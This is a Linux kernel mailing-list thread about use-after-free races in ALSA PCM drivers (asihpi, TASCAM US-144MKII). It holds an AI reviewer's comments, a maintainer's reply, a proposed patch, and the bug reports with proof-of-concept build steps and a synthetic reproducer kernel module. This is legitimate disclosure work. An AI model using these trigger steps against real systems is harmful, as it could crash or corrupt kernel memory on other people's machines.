after unlink and close, and snd_card_asihpi_pcm_timer_stop() only calls
timer_delete(&dpcm->timer) (not timer_delete_sync(), with no .sync_stop
callback):
CPU0 (<softirq>) CPU1
snd_card_asihpi_timer_function()
/* finishes Pass 1, unlocks */
snd_pcm_release_substream(substream)
snd_pcm_unlink(substream)
/* moves to self_group.substreams */
snd_pcm_drop(substream)
timer_delete(&dpcm->timer)
do_hw_free(substream)
snd_pcm_detach_substream(substream)
/* frees dpcm, sets runtime = NULL */
spin_lock_irqsave(&group->lock)
snd_pcm_group_for_each_entry()
s->runtime->private_data <-- NULL pointer dereference
...
if (... && dpcm->respawn_timer)
add_timer(&dpcm->timer) <-- use-after-free on dpcm
Similarly, in Pass 2, a member stopped by the deferred snd_pcm_stop_xrun()
at the end of Pass 1 (or by a concurrent SNDRV_PCM_IOCTL_DROP) can undergo
SNDRV_PCM_IOCTL_HW_FREE before Pass 2 acquires group->lock; do_hw_free()
clears s->runtime->dma_area = NULL without unlinking s, and Pass 2 does not
check snd_pcm_running(s) or s->runtime->dma_area before reading
&s->runtime->dma_area[buf_ofs] and passing it to hpi_outstream_write_buf()
or hpi_instream_read_buf().
[Severity: High]
Does holding spin_lock_irqsave(&group->lock, flags) across the bodies of
Pass 1 and Pass 2 disable local hardware interrupts during DSP polling and
multi-kilobyte PCI MMIO transfers?
Previously snd_card_asihpi_timer_function() ran with hardirqs enabled (from
TIMER_SOFTIRQ or the threaded ISR asihpi_isr_thread), and
hpios_dsplock_lock() used spin_lock_bh(). With spin_lock_irqsave() held
around each member, hpi_stream_get_info_ex(), hpi_stream_start(),
hpi_outstream_write_buf(), and hpi_instream_read_buf() now execute with local
IRQs disabled while busy-waiting in wait_dsp_ack() (udelay(4) polling loops
in sound/pci/asihpi/hpi6205.c) and transferring period buffers over PCI MMIO
in sound/pci/asihpi/hpi6000.c. In addition, rescanning from the list head in
asihpi_timer_next_member() on every iteration makes both passes O(N^2) with
2N + 4 lock acquisitions per callback.
--
Sashiko AI review · https://sashiko.dev/#/patchset/49f1dede.596.1a212c69040.Coremail.xuhx@hust.edu.cn?part=1
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: [PATCH] Re: ALSA: pcm: link-group walk in timer callback can use a closed substream's freed runtime (UAF)
2026-11-25 12:55 ` [PATCH] " 徐晗翔
2026-11-25 13:12 ` sashiko-bot
@ 2026-11-25 13:27 ` Takashi Iwai
1 sibling, 0 replies; 101+ messages in thread
From: Takashi Iwai @ 2026-11-25 13:27 UTC (permalink / raw)
To: 徐晗翔; +Cc: perex, tiwai, linux-sound, linux-kernel
On Wed, 25 Nov 2026 13:55:32 +0100,
徐晗翔 wrote:
>
> snd_pcm_group_for_each_entry() is a plain list_for_each_entry() over
> substream->group->substreams. A driver timer callback (asihpi's
> snd_card_asihpi_timer_function()) walked that list from softirq with
> no group reference and no link rwsem, while the close of another
> linked substream could unlink the members, reassign the survivors
> and kfree() the group object -- the callback kept dereferencing a
> stale s/runtime pointer and freed group memory (KASAN UAF).
>
> Core: free the group object only after an RCU grace period (new
> rcu_head in struct snd_pcm_group, kfree_rcu() at both free sites),
> so a group pointer read without the link rwsem stays memory-safe
> while a concurrent unlink tears the group down.
>
> Driver: walk the group one member at a time under the group lock
> with rcu_read_lock() held -- the lock makes membership (and each
> member's runtime) stable while the member is processed, and RCU
> keeps the group object alive. snd_pcm_stop_xrun()/
> snd_pcm_period_elapsed() are deferred out of the locked section:
> they enter snd_pcm_action(), which re-takes the group lock. A
> substream object outlives its fd's close and both helpers recheck
> substream->runtime under the stream lock, so the deferred calls are
> safe against a concurrent close of the member.
I don't think we want to add a RCU there. It can open a can of worms.
IMO, an easier and safer fix would be to keep the ASIHPI's timer
callback alive only during the PCM stream running, i.e. assure to kill
the timer callback at PCM stop and sync_stop. During the PCM running
state, PCM links can't be changed, hence the list is safe to traverse.
thanks,
Takashi
> ---
> sound/core/pcm_native.c | 12 ++++++++++--
> include/sound/pcm.h | 6 ++++++
> sound/pci/asihpi/asihpi.c | 144 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++---------------
> 3 files changed, 145 insertions(+), 17 deletions(-)
>
> diff --git a/sound/core/pcm_native.c b/sound/core/pcm_native.c
> --- a/sound/core/pcm_native.c
> +++ b/sound/core/pcm_native.c
> @@ -1368,7 +1368,11 @@
> do_free = refcount_dec_and_test(&group->refs);
> snd_pcm_group_unlock(group, substream->pcm->nonatomic);
> if (do_free)
> - kfree(group);
> + /* free only after an RCU grace period: a driver timer
> + * callback (softirq context) may hold group->lock under
> + * rcu_read_lock() without the link rwsem and must not
> + * touch freed group memory */
> + kfree_rcu(group, rcu_head);
> }
>
> /*
> @@ -2401,7 +2405,11 @@
>
> snd_pcm_group_unlock_irq(group, nonatomic);
> if (do_free)
> - kfree(group);
> + /* free only after an RCU grace period: a driver timer
> + * callback (softirq context) may hold group->lock under
> + * rcu_read_lock() without the link rwsem and must not
> + * touch freed group memory */
> + kfree_rcu(group, rcu_head);
> return 0;
> }
>
> diff --git a/include/sound/pcm.h b/include/sound/pcm.h
> --- a/include/sound/pcm.h
> +++ b/include/sound/pcm.h
> @@ -16,6 +16,7 @@
> #include <linux/bitops.h>
> #include <linux/pm_qos.h>
> #include <linux/refcount.h>
> +#include <linux/rcupdate.h>
> #include <linux/uio.h>
>
> #define snd_pcm_substream_chip(substream) ((substream)->private_data)
> @@ -455,6 +456,11 @@
> struct mutex mutex;
> struct list_head substreams;
> refcount_t refs;
> + /* a group object is freed only after an RCU grace period, so a
> + * lockless/atomic group walker (e.g. a driver timer callback that
> + * takes group->lock under rcu_read_lock()) cannot touch freed
> + * group memory while a concurrent unlink tears the group down */
> + struct rcu_head rcu_head;
> };
>
> struct pid;
> diff --git a/sound/pci/asihpi/asihpi.c b/sound/pci/asihpi/asihpi.c
> --- a/sound/pci/asihpi/asihpi.c
> +++ b/sound/pci/asihpi/asihpi.c
> @@ -136,6 +136,8 @@
> unsigned int pcm_buf_dma_ofs; /* DMA R/W offset in buffer */
> unsigned int pcm_buf_elapsed_dma_ofs; /* DMA R/W offset in buffer */
> unsigned int drained_count;
> + bool timer_walked; /* one-shot mark for the timer
> + * callback's group walk */
> struct snd_pcm_substream *substream;
> u32 h_stream;
> struct hpi_format format;
> @@ -705,6 +707,31 @@
> return result;
> }
>
> +/* Pick the next group member this timer callback has not processed yet.
> + * Must be called with the group lock held and under rcu_read_lock(): the
> + * group list cannot change under us, so every member's runtime is still
> + * alive. */
> +static struct snd_pcm_substream *
> +asihpi_timer_next_member(struct snd_pcm_substream *substream,
> + struct snd_card_asihpi *card)
> +{
> + struct snd_pcm_substream *s;
> +
> + snd_pcm_group_for_each_entry(s, substream) {
> + struct snd_card_asihpi_pcm *ds = s->runtime->private_data;
> +
> + if (snd_pcm_substream_chip(s) != card)
> + continue;
> + /* don't link Cap and Play */
> + if (substream->stream != s->stream)
> + continue;
> + if (ds->timer_walked)
> + continue;
> + return s;
> + }
> + return NULL;
> +}
> +
> /** Timer function, equivalent to interrupt service routine for cards
> */
> static void snd_card_asihpi_timer_function(struct timer_list *t)
> @@ -713,10 +740,12 @@
> struct snd_pcm_substream *substream = dpcm->substream;
> struct snd_card_asihpi *card = snd_pcm_substream_chip(substream);
> struct snd_pcm_runtime *runtime;
> + struct snd_pcm_group *group;
> struct snd_pcm_substream *s;
> unsigned int newdata = 0;
> unsigned int pcm_buf_dma_ofs, min_buf_pos = 0;
> unsigned int remdata, xfercount, next_jiffies;
> + unsigned long flags;
> int first = 1;
> u16 state;
> u32 buffer_size, bytes_avail, samples_played, on_card_bytes;
> @@ -725,17 +754,58 @@
>
> snd_pcm_debug_name(substream, name, sizeof(name));
>
> - /* find minimum newdata and buffer pos in group */
> + /*
> + * Walk the PCM link group one member at a time, under the group
> + * lock and an RCU read lock. This callback runs from a timer
> + * (softirq) with no group reference and no link rwsem, so a close
> + * of another linked substream could previously unlink the members,
> + * free the group object and free that member's runtime while this
> + * walk was holding a stale s/runtime pointer.
> + *
> + * The group lock keeps the membership (and each member's runtime)
> + * stable while the member is processed; the RCU read lock keeps
> + * the group object itself alive (snd_pcm_unlink() frees it only
> + * after a grace period). snd_pcm_stop_xrun() and
> + * snd_pcm_period_elapsed() must run WITHOUT the group lock -- they
> + * enter snd_pcm_action(), which re-takes the group lock -- so they
> + * are deferred to after the unlocked section. A substream object
> + * outlives the close of its fd, and both helpers recheck
> + * substream->runtime under the stream lock.
> + */
> +
> + /* clear the one-shot walk marks of the previous invocation */
> + rcu_read_lock();
> + group = READ_ONCE(substream->group); /* kept alive by RCU */
> + spin_lock_irqsave(&group->lock, flags);
> snd_pcm_group_for_each_entry(s, substream) {
> - struct snd_card_asihpi_pcm *ds = s->runtime->private_data;
> - runtime = s->runtime;
> + if (snd_pcm_substream_chip(s) == card) {
> + struct snd_card_asihpi_pcm *ds =
> + s->runtime->private_data;
>
> - if (snd_pcm_substream_chip(s) != card)
> - continue;
> + ds->timer_walked = false;
> + }
> + }
> + spin_unlock_irqrestore(&group->lock, flags);
> + rcu_read_unlock();
>
> - /* don't link Cap and Play */
> - if (substream->stream != s->stream)
> - continue;
> + /* find minimum newdata and buffer pos in group */
> + for (;;) {
> + struct snd_card_asihpi_pcm *ds;
> + struct snd_pcm_substream *xrun = NULL;
> +
> + rcu_read_lock();
> + group = READ_ONCE(substream->group); /* kept alive by RCU */
> + spin_lock_irqsave(&group->lock, flags);
> +
> + s = asihpi_timer_next_member(substream, card);
> + if (!s) {
> + spin_unlock_irqrestore(&group->lock, flags);
> + rcu_read_unlock();
> + break;
> + }
> + ds = s->runtime->private_data;
> + runtime = s->runtime;
> + ds->timer_walked = true;
>
> hpi_handle_error(hpi_stream_get_info_ex(
> ds->h_stream, &state,
> @@ -762,8 +832,9 @@
> "P%d drained\n", s->number);
> ds->drained_count++;
> if (ds->drained_count > 20) {
> - snd_pcm_stop_xrun(s);
> - continue;
> + /* defer to after the unlock */
> + xrun = s;
> + goto member_done;
> }
> } else {
> ds->drained_count = 0;
> @@ -799,6 +870,13 @@
> (unsigned long)frames_to_bytes(runtime,
> runtime->control->appl_ptr)
> );
> +
> +member_done:
> + spin_unlock_irqrestore(&group->lock, flags);
> + rcu_read_unlock();
> +
> + if (xrun)
> + snd_pcm_stop_xrun(xrun);
> }
> pcm_buf_dma_ofs = min_buf_pos;
>
> @@ -818,12 +896,41 @@
> asihpi_dbg("timer2, jif=%d, buf_pos=%d, newdata=%d, xfer=%d\n",
> next_jiffies, pcm_buf_dma_ofs, newdata, xfercount);
>
> + /* clear the one-shot walk marks again for the second pass */
> + rcu_read_lock();
> + group = READ_ONCE(substream->group); /* kept alive by RCU */
> + spin_lock_irqsave(&group->lock, flags);
> snd_pcm_group_for_each_entry(s, substream) {
> - struct snd_card_asihpi_pcm *ds = s->runtime->private_data;
> + if (snd_pcm_substream_chip(s) == card) {
> + struct snd_card_asihpi_pcm *ds =
> + s->runtime->private_data;
>
> - /* don't link Cap and Play */
> - if (substream->stream != s->stream)
> - continue;
> + ds->timer_walked = false;
> + }
> + }
> + spin_unlock_irqrestore(&group->lock, flags);
> + rcu_read_unlock();
> +
> + /* second pass, again one member at a time under the group lock
> + * (see above); snd_pcm_period_elapsed() is deferred to after the
> + * unlock for the same reason as snd_pcm_stop_xrun() */
> + for (;;) {
> + struct snd_card_asihpi_pcm *ds;
> + struct snd_pcm_substream *elapsed = NULL;
> +
> + rcu_read_lock();
> + group = READ_ONCE(substream->group); /* kept alive by RCU */
> + spin_lock_irqsave(&group->lock, flags);
> +
> + s = asihpi_timer_next_member(substream, card);
> + if (!s) {
> + spin_unlock_irqrestore(&group->lock, flags);
> + rcu_read_unlock();
> + break;
> + }
> + ds = s->runtime->private_data;
> + runtime = s->runtime;
> + ds->timer_walked = true;
>
> /* Store dma offset for use by pointer callback */
> ds->pcm_buf_dma_ofs = pcm_buf_dma_ofs;
> @@ -887,8 +994,15 @@
> /* ? host_rw_ofs always ahead of elapsed_dma_ofs by preload size? */
> ds->pcm_buf_host_rw_ofs += xfercount;
> ds->pcm_buf_elapsed_dma_ofs += xfercount;
> - snd_pcm_period_elapsed(s);
> + /* defer to after the unlock */
> + elapsed = s;
> }
> +
> + spin_unlock_irqrestore(&group->lock, flags);
> + rcu_read_unlock();
> +
> + if (elapsed)
> + snd_pcm_period_elapsed(elapsed);
> }
>
> if (!card->hpi->interrupt_mode && dpcm->respawn_timer)
>
>
> > -----原始邮件-----
> > 发件人: 徐晗翔 <xuhx@hust.edu.cn>
> > 发送时间:2026-11-13 20:15:08 (星期五)
> > 收件人: perex@perex.cz, tiwai@suse.com
> > 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> > 主题: ALSA: pcm: link-group walk in timer callback can use a closed substream's freed runtime (UAF)
> >
> > `snd_card_asihpi_timer_function()` walks the PCM link group with
> > `snd_pcm_group_for_each_entry()` and dereferences each member's
> > `s->runtime->private_data`. That macro is a plain `list_for_each_entry()`;
> > the callback holds no group reference and no group lock. Close of another
> > linked substream can unlink/free the group and detach/free that substream's
> > runtime and `dpcm`, leaving the timer callback with a stale `s`/runtime
> > pointer. This is reachable from user space through
> > `SNDRV_PCM_IOCTL_LINK` plus close, on hardware whose driver supports PCM
> > linking (asihpi does).
> >
> > The detailed description:
> >
> > * Test environment / affected version
> >
> > Linux 7.3.0 source plus a QEMU/KASAN fake-PCM harness. No ASI6205 hardware
> > was available; the harness reproduces the core group traversal and close
> > ordering, with the asihpi callback's exact
> > `snd_pcm_group_for_each_entry()` pattern.
> >
> > * Mechanism
> >
> > The group loops are at `sound/pci/asihpi/asihpi.c:729-735` and `821-827`.
> > They read `s->runtime->private_data` (and in one path `dma_area`) and call
> > `snd_pcm_period_elapsed(s)`. The macro is
> > `include/sound/pcm.h:694`:
> >
> > #define snd_pcm_group_for_each_entry(s, substream) \
> > list_for_each_entry(s, &substream->group->substreams, link_list)
> >
> > `snd_pcm_stream_lock_irq()` (`sound/core/pcm_native.c:140-144`) locks
> > `substream->self_group`, not the group that the timer callback walks.
> > `snd_pcm_unlink()` (`pcm_native.c:2370-2402`) takes
> > `snd_pcm_link_rwsem` and the group lock, removes the closing substream,
> > relinks the remaining streams, and may `kfree(group)`.
> > `snd_pcm_release_substream()` (`pcm_native.c:2785-2805`) calls
> > `pcm_release_private()` -> `snd_pcm_unlink()` at 2779-2783 before
> > `snd_pcm_detach_substream()` frees the runtime and `dpcm`.
> >
> > A timer callback that already loaded member `s` or `s->runtime` can run
> > after B's unlink/detach. It may then read freed `runtime`, freed
> > `private_data`, or a freed group list node; `snd_pcm_period_elapsed(s)`
> > additionally takes the stale substream.
> >
> > * Why existing synchronization does not close the window
> >
> > `snd_pcm_stop()` does transiently take a group reference through
> > `snd_pcm_action()` -> `snd_pcm_stream_group_ref()` (`pcm_native.c:1378-1427`)
> > and group lock, but it drops the reference after the STOP action. The
> > asihpi timer callback is not part of that action and holds no group
> > reference. Taking `snd_pcm_stream_lock_irq(A)` in the callback would only
> > lock A's `self_group`; it would not pin B or the group. The group can be
> > freed while the callback holds a raw member pointer.
> >
> > * Trigger model
> >
> > Two capture substreams A and B, same PCM and runtime state; user does
> > `SNDRV_PCM_IOCTL_LINK` then starts A. While A's timer callback is walking
> > the group, user closes B. `SNDRV_PCM_IOCTL_LINK` is available to a local
> > user with the PCM device open; no special privilege is needed beyond access
> > to the PCM. Consequence: UAF in timer context, crash or memory corruption.
> >
> >
> > * How to run the PoC
> >
> > The harness is self-contained and does not need ASI6205 hardware: it creates
> > a fake ALSA card with two capture substreams. The tested configuration was
> > 7.3.0 with KASAN and 4 vCPU; a uniprocessor run may not overlap.
> >
> > Build against the target kernel build tree:
> >
> > printf 'obj-m := sndpci_race.o\n' > Kbuild
> > make -C <kernel-build-dir> M=$PWD modules
> > gcc -static -O2 -I<kernel-source>/include/uapi -o pcmtest pcmtest.c
> >
> > Put `sndpci_race.ko` and `pcmtest` into the guest initramfs/rootfs, boot the
> > target kernel (QEMU/KVM recommended), then run as root:
> >
> > insmod sndpci_race.ko mode=pcm
> > ./pcmtest link 200
> > dmesg | grep -E 'BUG: KASAN|race_pcm_timer|victim use'
> >
> > In the minimal guest the fake card enumerates as card 0 and `pcmtest` opens
> > `/dev/snd/pcmC0D0c`. If the test machine already has another sound card,
> > adjust `DEV` in `pcmtest.c` or use the QEMU initramfs. Expected result:
> > 32 KASAN reports with `slab-use-after-free in race_pcm_timer` and about 114
> > `victim use` lines.
> >
> >
> > * Suggested direction
> >
> > This needs a core/lifetime fix, not just an asihpi timer fix. Possible
> > directions: make group traversal safe against concurrent unlink (group
> > reference or RCU-protected/atomic-safe iterator that pins each member's
> > runtime), or provide a driver API that snapshots/refcounts members before
> > the callback walks them. On the asihpi side, quiesce the timer/IRQ before
> > allowing the linked substream to detach. Adding only
> > `snd_pcm_stream_lock_irq(A)` is not sufficient because it locks A's
> > `self_group`, not the group being walked.
> >
> >
> >
> > Please keep me in Cc; I am not subscribed to the lists.
> >
> >
> > Regards,
> > Hanxiang Xu
> > xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread
* ALSA: usb-audio: us144mkii: PCM close frees runtime while playback/feedback URB completion and capture work still use it (UAF)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (4 preceding siblings ...)
2026-11-13 12:15 ` ALSA: pcm: link-group walk in timer callback can use a closed substream's freed runtime (UAF) 徐晗翔
@ 2026-11-13 12:28 ` 徐晗翔
2026-11-25 12:48 ` [PATCH] " 徐晗翔
2026-11-13 12:29 ` ALSA: usb-audio: us144mkii: queued stop_pcm_work calls snd_pcm_stop() after PCM close and dereferences NULL runtime 徐晗翔
` (35 subsequent siblings)
41 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-11-13 12:28 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
[-- Attachment #1: Type: text/plain, Size: 8212 bytes --]
tascam_playback_close() and tascam_capture_close() only clear the
substream pointer; they do not stop URBs or cancel work. The ALSA
release path then calls snd_pcm_detach_substream(), which sets
substream->runtime to NULL and frees the snd_pcm_runtime. A
playback/feedback URB completion, or the capture work, can have loaded
the substream/runtime pointer before close; after detach it dereferences
runtime->rate, runtime->buffer_size, runtime->dma_area or
runtime->status, and may resubmit the next URB. This is a
use-after-free / oops on an ordinary PCM close while the device remains
connected. It is not the disconnect path. Capture close is also
affected because feedback_urb_complete() uses the capture runtime.
The detailed description:
* Test environment / affected version
Linux 7.3.0 source tree (VERSION=7, PATCHLEVEL=3, SUBLEVEL=0),
sound/usb/usx2y/us144mkii.c, us144mkii_playback.c,
us144mkii_capture.c and us144mkii_pcm.c. The driver binds the
TASCAM US-144MKII (0644:8020) and US-144 (0644:800f). The relevant
configuration is CONFIG_SND_USB_US144MKII=m.
This report is based on source inspection, plus a synthetic ALSA PCM
model used to validate the close/detach lifetime pattern (see
"Reproducer (attached POC)" below). I have not run the real driver on
TASCAM hardware or under KASAN; no real-hardware result is claimed.
* Mechanism
1. The close callbacks do not stop I/O:
static int tascam_playback_close(struct snd_pcm_substream *substream)
{
struct tascam_card *tascam = snd_pcm_substream_chip(substream);
tascam->playback_substream = NULL;
return 0;
}
(us144mkii_playback.c:35-42; tascam_capture_close() is the same at
us144mkii_capture.c:35-42). No usb_kill_urb(), no
cancel_work_sync().
2. tascam_pcm_trigger() on STOP only clears the active flags and
schedules stop_work asynchronously:
atomic_set(&tascam->playback_active, 0);
atomic_set(&tascam->capture_active, 0);
...
schedule_work(&tascam->stop_work);
(us144mkii_pcm.c:280-287 and 352-353). tascam_pcm_hw_free() is a
no-op (us144mkii_pcm.c:257-260), so ALSA's do_hw_free() cannot stop
anything either.
3. ALSA then frees the runtime:
snd_pcm_drop(substream); /* trigger STOP */
...
substream->ops->close(substream); /* only NULLs ptr */
...
snd_pcm_detach_substream(substream); /* frees runtime */
(sound/core/pcm_native.c:2785-2805; snd_pcm_detach_substream() at
sound/core/pcm.c:978-1005, substream->runtime = NULL at 997 and
kfree(runtime) at 1001).
4. Three consumers can already hold the old runtime pointer:
- playback_urb_complete() reads tascam->playback_substream and
substream->runtime at us144mkii_playback.c:176-182, then uses
runtime->rate / runtime->buffer_size under tascam->lock and
runtime->dma_area after unlocking (184-234), before resubmitting
at 237-247.
- feedback_urb_complete() reads the playback and capture
substreams at us144mkii_playback.c:282-288. It uses
capture_rt->period_size at 413-417 and calls
snd_pcm_period_elapsed(capture_ss) at 430 after unlocking.
Therefore capture close must also stop the feedback URB; it
currently stops neither capture nor feedback URBs.
- tascam_capture_work_handler() reads
tascam->capture_substream and substream->runtime at
us144mkii_capture.c:157-169 and writes runtime->dma_area at 230
under tascam->lock. It is queued by capture_urb_complete() at
line 301.
5. The asynchronous stop_work is not a close-time barrier.
usb_kill_anchored_urbs() in tascam_stop_work_handler() does wait
for a completion that is already inside the HCD giveback path
(__usb_hcd_giveback_urb() suspends the anchor wakeups before
usb_unanchor_urb(), and resumes them only after urb->complete()),
but stop_work itself is scheduled asynchronously by trigger(STOP).
close does not wait for stop_work, so detach can free the runtime
before stop_work runs. A per-URB usb_kill_urb() in close() is the
explicit synchronous barrier; it waits for urb->use_count == 0
(drivers/usb/core/urb.c:703-720).
6. A completion that has already passed the active/pointer check can
resubmit a URB after close's kill unless the final check and
usb_submit_urb() are serialized with close. The close path must
clear the active flag and substream pointer under tascam->lock,
kill the URBs, cancel the work, and make the completion's final
submit path take the same lock.
7. There is a second direction: feedback completion consumes the
capture runtime, but tascam_capture_close() stops neither capture
URBs nor feedback URBs. Closing capture while playback (and
therefore feedback) remains open can free capture_runtime while
feedback completion still uses capture_rt.
8. close() must also be serialized with tascam_disconnect():
tascam_disconnect() calls tascam_free_urbs() before
snd_card_free() waits for open PCM files to close
(us144mkii.c:580-611; free at 38-110). Without a
disconnect_lock/disconnected flag, a close that runs after the
slots were freed can call usb_kill_urb(NULL), or race the free.
* Reproducer
Attached files:
tascam_poc.c - synthetic ALSA PCM kernel module (C1 mode pcm1)
pcmtest.c - userland exerciser
Makefile - builds tascam_poc.ko against the running kernel
This POC does not drive the TASCAM device. It creates a synthetic ALSA
PCM card whose .close() only drops the substream pointer, starts an
asynchronous work item that caches the runtime, and lets ALSA detach and
free the runtime before the work runs. It therefore reproduces the
lifetime ordering in point 3/4 above, not the real USB URB completion.
A KASAN kernel is required to observe the UAF.
Build and run:
make
gcc -static -O2 -o pcmtest pcmtest.c
sudo modprobe snd-pcm
sudo insmod ./tascam_poc.ko mode=pcm1
sudo ./pcmtest 1
dmesg | tail -50
sudo rmmod tascam_poc
Expected result with KASAN:
BUG: KASAN: slab-use-after-free in race_pcm_work+0xce/0x140
Allocated by task ... (snd_pcm_open)
Freed by task ... (snd_pcm_release_substream/snd_pcm_detach_substream)
Negative control (close cancels the work):
sudo insmod ./tascam_poc.ko mode=pcm1 safe=1
sudo ./pcmtest 1
Expected: no KASAN report.
The module creates a capture PCM at card index 0; if that index is
occupied, check /proc/asound/cards and adjust DEV in pcmtest.c.
For a real-hardware KASAN run, the proposed procedure is:
arecord -D hw:CARD=US144MKII,DEV=0 -f S32_LE -r 48000 -c 4 /dev/null &
aplay -D hw:CARD=US144MKII,DEV=0 -f S32_LE -r 48000 -c 4 /dev/zero
# start playback, then close it while feedback is active;
# repeat open/start/close in a loop and watch dmesg for KASAN
For the capture-close direction, keep the playback process running
and repeatedly open/start/close the capture stream. The expected
KASAN top frames are playback_urb_complete(), feedback_urb_complete()
or tascam_capture_work_handler().
* Suggested direction
In .close(), under tascam->lock, clear the active flag and substream
pointer, then call usb_kill_urb() for every feedback/playback URB
(capture close: feedback/capture), and finally cancel_work_sync() for
stop_pcm_work, stop_work and capture_work as appropriate, before
returning to snd_pcm_detach_substream().
Use a disconnect_lock plus a disconnected flag to serialize this
cleanup with tascam_disconnect()'s tascam_free_urbs(); release the
lock before snd_card_free(). The completion's final
active/pointer check and usb_anchor_urb()/usb_submit_urb() should run
under the same tascam->lock, so a completion that raced with close
cannot submit a new URB after the kill.
I am happy to test a proposed fix.
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
[-- Attachment #2: tascam_poc.c --]
[-- Type: text/plain, Size: 6616 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* tascam_poc.c - synthetic ALSA PCM lifetime reproducer for the TASCAM
* US-144MKII manual-review cases C1 and C2.
*
* This module deliberately reproduces the *lifetime patterns* of the driver,
* not the USB device itself:
* pcm1 : ALSA PCM .close() drops the runtime while an asynchronous
* "completion" still holds a runtime pointer (C1).
* pcm2 : a queued work item calls snd_pcm_stop() after .close()/detach
* (C2).
*
* The ALSA card is a synthetic platform device; no TASCAM hardware or USB
* traffic is involved. Build and run instructions are in README.txt.
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/delay.h>
#include <linux/kthread.h>
#include <linux/wait.h>
#include <linux/completion.h>
#include <linux/platform_device.h>
#include <sound/core.h>
#include <sound/pcm.h>
#include <sound/pcm_params.h>
#define DRV "sndusb_race"
#define COOKIE 0x5a5a1234deadbeefULL
static char *mode = "pcm1";
module_param(mode, charp, 0444);
static bool safe;
module_param(safe, bool, 0444);
MODULE_PARM_DESC(mode, "pcm1 or pcm2");
MODULE_PARM_DESC(safe, "take the safe cleanup path (negative control)");
/* ------------------------------------------------------------------ */
/* V1/V2 synthetic ALSA PCM */
/* ------------------------------------------------------------------ */
struct race_pcm {
struct snd_pcm_substream *substream;
struct snd_pcm_runtime *runtime;
struct work_struct work;
atomic_t active;
bool c2;
u64 cookie;
};
static struct snd_card *race_card;
static struct platform_device *race_pdev;
static struct snd_pcm *race_pcm_dev;
static void race_pcm_work(struct work_struct *work)
{
struct race_pcm *m = container_of(work, struct race_pcm, work);
struct snd_pcm_runtime *rt = m->runtime;
struct snd_pcm_substream *ss = m->substream;
pr_info(DRV ": work start mode=%s rt=%px ss=%px cookie=%#llx\n",
m->c2 ? "c2" : "c1", rt, ss, m->cookie);
if (!m->c2 && !rt)
return;
if (m->c2 && !ss)
return;
/* Give the closing thread time to run .close() and detach/free. */
msleep(120);
if (!m->c2) {
/*
* C1: the completion cached runtime before close; after
* snd_pcm_detach_substream() this is freed memory.
*/
pr_info(DRV ": c1 use rt=%px dma_area=%px\n", rt,
READ_ONCE(rt->dma_area));
barrier();
(void)READ_ONCE(rt->dma_area);
} else {
/*
* C2: the work cached the substream, but detach made
* ss->runtime NULL; snd_pcm_stop() dereferences it.
*/
pr_info(DRV ": c2 call snd_pcm_stop ss=%px runtime=%px\n",
ss, READ_ONCE(ss->runtime));
snd_pcm_stop(ss, SNDRV_PCM_STATE_XRUN);
}
pr_info(DRV ": work end\n");
}
static int race_pcm_open(struct snd_pcm_substream *substream)
{
struct snd_pcm_runtime *runtime = substream->runtime;
struct race_pcm *m;
m = kzalloc(sizeof(*m), GFP_KERNEL);
if (!m)
return -ENOMEM;
m->substream = substream;
m->runtime = runtime;
m->cookie = COOKIE;
m->c2 = !strcmp(mode, "pcm2");
INIT_WORK(&m->work, race_pcm_work);
atomic_set(&m->active, 0);
runtime->private_data = m;
runtime->hw.info = SNDRV_PCM_INFO_MMAP |
SNDRV_PCM_INFO_INTERLEAVED |
SNDRV_PCM_INFO_MMAP_VALID;
runtime->hw.formats = SNDRV_PCM_FMTBIT_S16_LE;
runtime->hw.rates = SNDRV_PCM_RATE_44100;
runtime->hw.rate_min = 44100;
runtime->hw.rate_max = 44100;
runtime->hw.channels_min = 2;
runtime->hw.channels_max = 2;
runtime->hw.buffer_bytes_max = 64 * 1024;
runtime->hw.period_bytes_min = 1024;
runtime->hw.period_bytes_max = 4096;
runtime->hw.periods_min = 2;
runtime->hw.periods_max = 8;
pr_info(DRV ": open sub=%px rt=%px mode=%s\n", substream, runtime, mode);
return 0;
}
static int race_pcm_close(struct snd_pcm_substream *substream)
{
struct snd_pcm_runtime *runtime = substream->runtime;
struct race_pcm *m = runtime ? runtime->private_data : NULL;
pr_info(DRV ": close sub=%px rt=%px m=%px safe=%d\n",
substream, runtime, m, safe);
if (m && safe)
cancel_work_sync(&m->work);
if (m) {
m->substream = NULL;
m->runtime = NULL;
}
return 0;
}
static int race_pcm_hw_params(struct snd_pcm_substream *substream,
struct snd_pcm_hw_params *params)
{
return 0;
}
static int race_pcm_prepare(struct snd_pcm_substream *substream)
{
return 0;
}
static int race_pcm_trigger(struct snd_pcm_substream *substream, int cmd)
{
struct snd_pcm_runtime *runtime = substream->runtime;
struct race_pcm *m = runtime ? runtime->private_data : NULL;
if (!m)
return 0;
switch (cmd) {
case SNDRV_PCM_TRIGGER_START:
case SNDRV_PCM_TRIGGER_RESUME:
atomic_set(&m->active, 1);
pr_info(DRV ": trigger start, queue work\n");
schedule_work(&m->work);
break;
case SNDRV_PCM_TRIGGER_STOP:
case SNDRV_PCM_TRIGGER_SUSPEND:
atomic_set(&m->active, 0);
break;
}
return 0;
}
static snd_pcm_uframes_t race_pcm_pointer(struct snd_pcm_substream *substream)
{
return 0;
}
static const struct snd_pcm_ops race_pcm_ops = {
.open = race_pcm_open,
.close = race_pcm_close,
.hw_params = race_pcm_hw_params,
.prepare = race_pcm_prepare,
.trigger = race_pcm_trigger,
.pointer = race_pcm_pointer,
};
static int sndusb_pcm_init(void)
{
int ret;
race_pdev = platform_device_register_simple("sndusb_race", -1, NULL, 0);
if (IS_ERR(race_pdev))
return PTR_ERR(race_pdev);
ret = snd_card_new(&race_pdev->dev, 0, "SndUsbRace", THIS_MODULE, 0,
&race_card);
if (ret < 0) {
pr_err(DRV ": snd_card_new failed: %d\n", ret);
return ret;
}
